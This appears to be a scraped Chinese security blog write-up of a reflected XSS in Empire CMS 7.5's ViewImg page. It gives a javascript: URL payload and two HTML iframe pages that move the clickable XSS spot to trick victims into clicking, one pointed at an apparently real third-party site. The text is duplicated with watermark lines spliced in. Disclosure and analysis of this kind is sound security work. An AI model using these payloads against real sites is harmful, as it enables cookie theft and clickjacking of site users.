Empire CMS v7.5前台XSS漏洞
概述
帝国CMS简称Empire CMS,当前的最新版本为7.5,前几天挖过一个该CMS的后台漏洞,最近也去挖了前台XSS,发现前台有一处过滤不完整导致的XSS漏洞。
相关环境
源码信息:EmpireCMS_7.5_SC_UT
漏洞类型:反射型XSS
下载地址:http://www.phome.net/download/
漏洞文件:/e/ViewImg/index.html
漏洞分析
1、该文件不是PHP文件,只是普通html静态文件,但是其中有一段代码存在漏洞,代码大概的意思是通过Request函数获取地址栏的URL参数,并作为img和a标签的,src属性和href属性,然后经过document.write输出到页面。
2、跟踪Request函数,该函数大概的流程,就是通过window.location获取当前地址,根据传入的url参数,获取当前地址url参数起始位置和结束位置。
例如,我的地址是:index.html?url=javascript:alert(document.cookie),经过处理之后得到javascript:alert(document.cookie)。
3、最后经过document.write函数输出到页面,得到a标签和img标签,并且href和src的值,就是返回的javascript:alert(document.cookie)。
4、根据触发规则,可以进行点击图片位置即可触发,网上找了两个网站实例。
利用方法
1、有人会说利用点太小了,不好触发,可以参考我以前某云提交的漏洞 WooYun-2014-73258,通过两次框架嵌套可以使XSS位置随意移动,方便触发。
http://wooyun.jozxing.cc/static/bugs/wooyun-2014-073258.html
2、详细利用代码如下,第一段代码,效果如下:
html xmlns="http://www.w3.org/1999/xhtml">
head>
meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
title>中转title>
head>
body>
iframe src="http://powerpigs.net/e/ViewImg/index.html?url=javascript:alert(/xss/)" height="100" width="1000" style="position:absolute; left:-490px; top:-0px;">iframe>
body>
html>
3、第二段代码如下,嵌套前面的代码实现任意位置移动。
html xmlns="http://www.w3.org/1999/xhtml">
head>
meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
title>存储型SS测试title>
head>
body>
marquee behavior="alternate">→→→→→→→→→→iframe src="http://127.0.0.1/1.html" width="50" height="30" scrolling="no">iframe>←←←←←←←←←←marquee>
body>
html>
4、两段代码最终效果如下。
5、GIF动态测试效果如下,以前我觉得这种利用方法很逗比,但是现在我也觉得这种利用方法很逗B……
总结
1、总的概括,漏洞内容就是,javascript获取url的参数,没有经过任何过滤,直接当作a标签和img标签的,href属性和src属性输出。
2、至于利用方法,是几年前无聊想的,所以拿来用用。
概述
帝国CMS简称Empire CMS,当前的最新版本为7.5,前几天挖过一个该CMS的后台漏洞,最近也去挖了前台XSS,发现前台有一处过滤不完整导致的XSS漏洞。
相关环境
源码信息:EmpireCMS_7.5_SC_UT
漏洞类型:反射型XSS
下载地址:http://www.phome.net/download/
漏洞文件:/e/ViewImg/index.html
漏洞分析
1、该文件不是PHP文件,只是普通html静态文件,但是其中有一段代码存在漏洞,代码大概的意思是通过Request函数获取地址栏的URL参数,并作为img和a标签的,src属性和href属性,然后经过document.write输出到页面。
copyright 无奈人生
2、跟踪Request函数,该函数大概的流程,就是通过window.location获取当前地址,根据传入的url参数,获取当前地址url参数起始位置和结束位置。
例如,我的地址是:index.html?url=javascript:alert(document.cookie),经过处理之后得到javascript:alert(document.cookie)。
3、最后经过document.write函数输出到页面,得到a标签和img标签,并且href和src的值,就是返回的javascript:alert(document.cookie)。
4、根据触发规则,可以进行点击图片位置即可触发,网上找了两个网站实例。
内容来自无奈安全网
利用方法
1、有人会说利用点太小了,不好触发,可以参考我以前某云提交的漏洞 WooYun-2014-73258,通过两次框架嵌套可以使XSS位置随意移动,方便触发。
http://wooyun.jozxing.cc/static/bugs/wooyun-2014-073258.html
2、详细利用代码如下,第一段代码,效果如下:
html xmlns="http://www.w3.org/1999/xhtml">
head>
meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
title>中转title>
head>
body>
iframe src="http://powerpigs.net/e/ViewImg/index.html?url=javascript:alert(/xss/)" height="100" width="1000" style="position:absolute; left:-490px; top:-0px;">iframe>
body>
html>
copyright 无奈人生
3、第二段代码如下,嵌套前面的代码实现任意位置移动。
html xmlns="http://www.w3.org/1999/xhtml">
head>
meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
title>存储型SS测试title>
head>
body>
marquee behavior="alternate">→→→→→→→→→→iframe src="http://127.0.0.1/1.html" width="50" height="30" scrolling="no">iframe>←←←←←←←←←←marquee>
body>
html>
4、两段代码最终效果如下。
5、GIF动态测试效果如下,以前我觉得这种利用方法很逗比,但是现在我也觉得这种利用方法很逗B……
无奈人生安全网
总结
1、总的概括,漏洞内容就是,javascript获取url的参数,没有经过任何过滤,直接当作a标签和img标签的,href属性和src属性输出。
2、至于利用方法,是几年前无聊想的,所以拿来用用。
copyright 无奈人生